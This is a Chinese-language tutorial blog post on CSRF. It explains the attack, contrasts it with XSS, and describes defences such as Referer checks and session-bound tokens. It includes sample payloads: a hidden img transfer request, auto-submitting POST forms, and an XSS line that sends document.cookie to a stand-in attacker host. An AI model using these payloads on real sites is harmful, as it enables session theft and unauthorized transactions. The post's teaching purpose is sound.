1. 程式人生 > >CSRF理解與防禦

CSRF理解與防禦

class 利用 .org 前後端分離 xss 網站攻擊 image 相關 能夠

一、說明

記得以前去面試技術也不太會但你總得講點東西,讓面試時間長一些讓面試官覺得你基礎還可以,當時選的就是名頭比較大的OWASP TOP 10。TOP 10嘛你總得拿出至少三個點來講的細一些以證明你是真的知道而不是背概念。

縱觀TOP 10 註入和XSS是比較有把握的,其他什麽“失效的認證和會話管理”、“不安全的對象直接引用”,由於當時沒有實際的生產環境攻擊和防護經驗理解不了其所說的概念和影響,感覺好幾個概念感覺意思差不多面試官如果問區別那不肯定講不清了。權衡之下就要鎖定在同是技術問題的CSRF上。

而同時選擇XSS和CSRF你就不得不面對解釋這兩者有何區別的問題。到現在這個問題仍然是web攻防文章和書藉都要談的問題,用得最多的講得最清楚的大概是德丸浩《Web應用安全權威指南》那樣,七八個箭頭箭來箭去,XSS第一步是第二步是而CSRF第一步是第二步是。看的時候覺得挺清楚,看完要自己去說區別做防護還是感覺完全不懂。也因此想來寫寫自己的理解。

二、CSRF定義

CSRF,英文全稱Cross Site Request Forgery,中文名跨站請求偽造。OWASP Top 10 2010排A5,OWASP Top 10 2013排A8,OWASP Top 10 2017沒排進。

三、CSRF利用形式

我們借用OWASP Top 10 2013給出的例子。

首先,用戶登錄了沒有CSRF防護的www.bank.com。該網站有一個轉賬鏈接http://www.bank.com/transferFunds?amount=money&destinationAccount=account_id

然後,用戶又訪問了攻擊者發送過來的鏈接比如叫http://www.hack.com/csrf_attack。該頁面具有以下關鍵代碼<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“ width="0" height="0" />

最後,瀏覽器自動請求src指向的鏈接http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789,由於請求的是www.bank.com所以瀏覽器會自動帶上www.bank.com的cookie。鏈接+登錄cookie都已具備,www.bank.com並沒有其他檢查,所以向123456789轉賬1500塊的請求就會被成功響應。

四、CSRF與XSS的區別

從漏洞存在的位置上(CSRF存在於所有請求-響應模式的功能上,XSS存在於將用戶輸入回顯前端web頁面的位置上),從攻擊效果上(CSRF主要是執行網站自身已有功能,XSS主要是用於獲取Cookie)都有區別。

但對於初學者最直接的還是利用角度。當時面試說的是CSRF是利用B網站攻擊A網站,XSS(反射型)是將A網站的Cookie發到B網站,這理解是沒錯的。這裏再舉個例子更具象化地說明:

攻擊 攻擊鏈接示例 說明
CSRF

http://www.hack.com/csrf_page(頁面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“)

發送的是hack網站的頁面,目標是bank網站頁面
XSS

http://www.bank.com/xss_page?xss_parameter=‘><script>document.location=‘http://www.hack.com/save_cookie?cookie=‘+document.cookie</script>‘

發送的是bank網站的頁面,目標是hack網站頁面

五、CSRF的防禦

從前面CSRF利用形式可以看到,CSRF的關鍵點是瀏覽器自動帶上了bank的Cookie訪問bank的鏈接,這是瀏覽器需要的機制應用是無法阻止的。所以CSRF防範的立足點應該是,面對發過來的數據包如何識別是通過本網站點擊鏈接發過來的數據包,還是其他網站發來的數據訪問數據包。

5.1 錯誤的CSRF防禦辦法

有時我們會想當然地認為某些方法可以防禦CSRF,為了避免踩坑,這裏先來介紹兩種典型的錯誤防禦方式。

5.1.1 使用post方式防禦CSRF

在前面使用的CSRF攻擊示例中,攻擊載荷是<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“ width="0" height="0" />,其他教程為了簡單使用的也是get方式的示例,所以是不是如果我的請求限定是form表單post的,那是不是就可以防禦CSRF了呢?

答案是否定的。我們完全可以把攻擊載荷換成以下post形式的攻擊代碼:

<body onload="document.forms[0].submit()">
    <form action="http://www.bank.com/transferFunds" method="POST">
        <input type="hidden" name="amount" value="1500">
        <input type="hidden" name="destinationAccount" value="123456789">
    </form>
</body>

5.1.2 使用https防禦CSRF

https是加密碼,攻擊者無法修改其內容,網站使用https是否可以防禦CSRF呢?

答案也是否定的。認為https有助於防禦CSRF是沒很好地理解"https=http層+ssl層",https的封裝過程是http層內容交給ssl層,ssl層封裝完再交給傳輸層如此下去。CSRF是在http層設置內容,ssl如何防止得了csrf呢。我們攻擊載荷改成如下形式也完全可以正確請求(http改成了https):

<body onload="document.forms[0].submit()">
    <form action="https://www.bank.com/transferFunds" method="POST">
        <input type="hidden" name="amount" value="1500">
        <input type="hidden" name="destinationAccount" value="123456789">
    </form>
</body>

5.2 正確的CSRF防禦辦法

5.2.1 Referer頭檢測法

Referer標識當前請求的來源頁面,瀏覽器訪問時除了自動帶上Cookie還會自動帶上Referer,所以服務端可以檢測Referer頭是否本網站頁面來決定是否響應請求。

Referer是瀏覽器自動帶上的,基於認為瀏覽器沒有相關漏洞的前提下,我們可以認為攻擊者是沒法偽造Referer頭的,也就是檢測Referer頭的方法是可靠的。

但該方式有時會不受認可,一是因為瀏覽器是可以設置禁止發送Referer頭的,如果使用該方式那麽禁止Referer頭的瀏覽將無法正常使用,這可能會降低用戶使用體驗。二是因為由於移動端的崛起當下流行前後端分離app和web共用一套後端代碼,但app是不會自動帶Referer頭的,如果使用該方式app端不好處理。

5.2.2 token檢測法

token就是服務端返回給客戶端類似sessionid那樣一長串的類值(長是為了防暴力猜解)。csrf依賴於瀏覽器該問鏈接時自動對應網站的cookie帶上,token不放cookie(一般form表單加個hidden屬性的input標簽來存放)csrf就沒法獲取token,這樣我們就可以通過檢測發送過來的數據包中是否有正確的token值來決定是否響應請求。

在講清token防禦的原理後,我們再來講token的設計,因為token方式給人的感覺很復雜令人望而生畏。

我們首先明確一個問題,就是能夠防止csrf攻擊的token,並不需要每次請求都不一樣在用戶登錄後到退出前的這整個過程中的所有請求token完全可以是一樣。因為(在基於沒有其他漏洞會泄漏本次會話的token的設想下)黑客是無法獲取用戶的tokne,所以又何必每個請求都要生成一個新的token呢。(token每次請求都要不一樣的想法是受防重放攻擊的影響)只考濾防csrf不考濾防重放的情況下,token設計就簡單多了。

使用sessionid作為token設計:在csrf中cookie是瀏覽器自己帶上的,本質而言用戶的sessionid並未丟失(也就是攻擊者並不能知道sessionid是多少),基於此我們完全可以不用另傳一個值只需直接將sessionid作為token即可(或者也可以做些運算比如取sessionid的某些值做個md5來做為token,意思都差不多)。判斷代碼類似 if session["id"] == $_POST["token"]

與sessionid同時返回的token設計:在生成sessionid的同時生成一個token(服務端token可以存於session變量中)返回給客戶端,客戶端保存該token每次請求時都在form表單中提交該值。判斷代碼類似if session["token"] == $_POST["token"]

參考:

德丸浩-《Web應用安全權威指南》

https://www.owasp.org/images/f/f8/OWASP_Top_10_-_2013.pdf

CSRF理解與防禦